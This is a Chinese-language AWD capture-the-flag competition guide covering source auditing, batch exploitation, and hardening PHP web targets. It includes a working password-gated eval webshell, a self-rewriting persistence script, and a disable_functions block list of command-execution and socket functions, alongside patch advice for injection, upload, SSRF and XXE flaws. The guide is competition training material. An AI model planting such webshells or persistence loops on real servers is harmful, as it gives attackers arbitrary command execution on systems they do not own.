第三阶段
开场先把源码拖到本地备份
源码审计部分
立即开始源码审计,快速查找敏感词,例如$_REQUEST $_GET $_POST upload exec
找sql语句部分,是否为字符串拼接
查找敏感功能模块,比如上传,命令执行
可以只看源码找,也可以配合看网站内容模块,找对应的代码部分
漏洞利用部分
- 找出漏洞点后快速编写脚本进行批量攻击夺取flag
- 另外一个人编写脚本,利用该漏洞植入其他木马、webshell,避免该漏洞后续被修复后无法再次利用
- 大家都是用脚本批量传shell,所以可能存在蹭/被蹭shell的情况。
webshell内容最好不要直接写eval($_POST['cmd']);可以多加个if判断,比如判断是否有传a参数,并且md5(a)=='xxxxxxx' - 为避免webshell失活【被删】,可以在webshell里加上死循环,无限写马,注意修改超时时间为0【即无限】,最大消耗内存,该值根据比赛环境决定,直接设为物理内存的上限
- php是被动式的,为保证无限写马能运行,需要先访问一次。
- 还有一个队员实时盯着log,如果有出现丢分,迅速查看log,看对方的进攻点,给另外两个队员提供修复方案和进攻思路,如果我方无法找到漏洞点,也可以直接使用其他人的进攻方式
webshell
<?php
// 永不超时
ini_set('max_execution_time',0);
// 设置最大使用内存值4G
ini_set('memory_limit','4096M');
// md5('test') === '098f6bcd4621d373cade4e832627b4f6'
// 这里if的条件你们可以看着改,目的就是为了别人蹭你们的webshell
if (md5($_POST['password']) === '098f6bcd4621d373cade4e832627b4f6') {
@eval($_POST['cmd']);
}
?>
无限生成webshell
<?php
// 永不超时
ini_set('max_execution_time',0);
// 设置最大使用内存值4G
ini_set('memory_limit','4096M');
$data =
'
<?php
// 永不超时
ini_set("max_execution_time",0);
// 设置最大使用内存值4G
ini_set("memory_limit","4096M");
// md5("test") === "098f6bcd4621d373cade4e832627b4f6"
if (md5($_POST["password"]) === "098f6bcd4621d373cade4e832627b4f6") {
@eval($_POST["cmd"]);
};
';
while (true) {
file_put_contents('shell.php', $data);
}
?>
防御部分
比赛健康检查机制越来越严,就别想着关服务,改文件权限这些”歪门邪道”
如果是apache,注意.htaccess的内容,是否有敏感信息,比如将xx后缀的也作为php进行解析,url_rewrite
注意web目录下,可能是根目录,或者其他地方,是否存在web源码的压缩包,提示文本,robots之类的,有的话可以删
如果有权限重启服务,修改php.ini中的disable_functions值,禁止如下敏感函数
passthru()
exec()
shell_exec()
system()
shell_exec()
proc_open()
popen()
proc_get_status()
assert()
以上函数均可执行任意命令
scandir()
chgrp()
chown()
chmod()
以上4个可以配合修改文件权限,避免别人过来搞事情,比如木马持续化利用,【自己能以root身份登靶机就忽略吧】
error_log()
可以写文件到任意位置,作为一种骚姿势写马,甚至是二进制数据,配合chmod()添加执行权限,示例
error_log("You messed up!", 3, "/var/tmp/my-errors.log");
putenv()
getenv()
在一些做了字符串过滤的地方,可以利用这两个函数从环境变量中取值拼接出shell code
dl()
pfsockopen()
stream_socket_server()
调用外部进程,建立socket通讯
readlink()
symlink()
这两个配合可以绕过上传的黑名单限制,传符号链接文件进行读取flag
ini_restore()
syslog()
禁用这2个,避免环境被搞乱,防搅屎
自己实现简易log
<?php
// 自定义log
// apache或nginx的log默认只记录get记录,post记录需要安装对应模块,所以自己实现
// 这段直接放入口文件就好
// 日志文件放/tmp/weblog下没有这目录自己建
// 为避免频繁打开写入关闭同一个文件造成卡顿,每一次访问都存在单独的文件里,查看直接cat /tmp/weblog/*
$data = [
'uri' => $_SERVER['REQUEST_URI'],
'method' => $_SERVER['REQUEST_METHOD'],
'data' => file_get_contents('php://input')
];
ob_start();
var_dump($data);
$output = ob_get_clean();
file_put_contents('/tmp/weblog/'.date("Y-m-d-Hisu").'-'.time().'.log', $output);
?>
根据源码审计和日志出获取的消息修改对应模块的语句
- 针对sql注入防御,比赛时间有限,没时间让你重写为pdo,随便加点过滤,或者直接禁止执行sql语句
- 文件上传部分,给它传,直接修改文件上传目录到其他位置,脱离web目录就好,比如
/tmp,或者修改上传文件目录的权限,可写不可读不可执行 - 如果还有文件包含漏洞,添加
set_include_path('/var/www/html/xxxx');语句,禁止跨出web目录,或者做白名单限制,只能读取哪些文件 - ssrf部分,简单粗暴一点,参数内容如果有
://直接exit出去,协议部分用代码写死拼接 - xxe部分,添加
libxml_disable_entity_loader(true);语句,禁止解析外部实体,完事 - 反序列化部分,反序列化的内容禁止由用户控制,或者直接注释反序列化语句好了
- 命令执行部分,如果改了php.ini,禁止了那些函数,略过,如果因为各种原因无法改,过滤
管道符分隔符百分号,如果用正则去匹配,用preg_match_all()函数进行匹配preg_match()存在换行绕过问题